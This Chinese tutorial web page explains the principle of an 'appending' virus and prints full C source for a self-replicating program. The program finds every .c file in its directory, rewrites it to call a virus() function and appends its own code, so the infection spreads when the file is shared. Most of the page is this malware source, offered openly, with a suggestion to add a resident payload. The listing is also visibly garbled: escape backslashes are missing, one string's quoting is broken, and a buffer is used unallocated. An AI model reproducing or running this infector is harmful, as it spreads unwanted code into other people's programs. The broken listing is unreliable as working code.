手机
当前位置:查字典教程网 >编程开发 >C语言 >c病毒程序原理分析(防范病毒 c语言小病毒示例)
c病毒程序原理分析(防范病毒 c语言小病毒示例)
摘要:病毒的特点:病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式病毒,它通过对正常的文件进行改写,增加来实现其...

病毒的特点:

病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式

病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。

从程序的角度来说,我们要做的事情有两件:

1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,

使它具备继续复制的能力。

2,在一定条件下使其产生某种发作效果。

其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染

文件的最后,同时在被感染文件中调用这个函数

下面给出c语言的实现过程:

1,主程序调用病毒功能函数

2,病毒功能函数读取查找同目录下所有c文件;

3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;

4,重新创建一个同名文件(被感染c文件)

5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数

调用语句写入;

6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;

这样一个简单的c语言伪病毒virus.c就完成了

运行程序后其内容变化另保存为after_virus.c

此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果

他们一运行又感染了他们保存1.c文件目录下所有c文件

对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你

完全可以写一个TSR驻留函数

其实,这个程序勉强可以叫做病毒

根本不算是真正的病毒,好了就说这么多,

复制代码 代码如下:

代码如下:

#include <stdio.h>

#include <dir.h>

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("nI have a virus. Writen by PuBinn");

done = findfirst("*.c",&ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#include<stdio.h>n",out);

fputs("#include<dir.h>n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;j<i-1;j++)

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(j<i-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus="",out);

fputs(ffblk.ff_name,out);

fputs("";n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("nYour c program %s has a virus. Writen by PuBinn",ffblk.ff_name);

next: done = findnext(&ffblk);

}

return 0;

}

【c病毒程序原理分析(防范病毒 c语言小病毒示例)】相关文章:

cin.get()和cin.getline()之间的区别

tc编译的dos程序和vc编译的win32控制台程序的异同

C++中“#”号的使用技巧

C语言小程序 计算第二天日期示例代码

C语言中宏定义使用的小细节

利用ace的ACE_Task等类实现线程池的方法详解

C++标准之(ravalue reference) 右值引用介绍

判断指定的进程或程序是否存在方法小结(vc等)

C语言之free函数以及野指针介绍

线程池的原理与实现详解

精品推荐
分类导航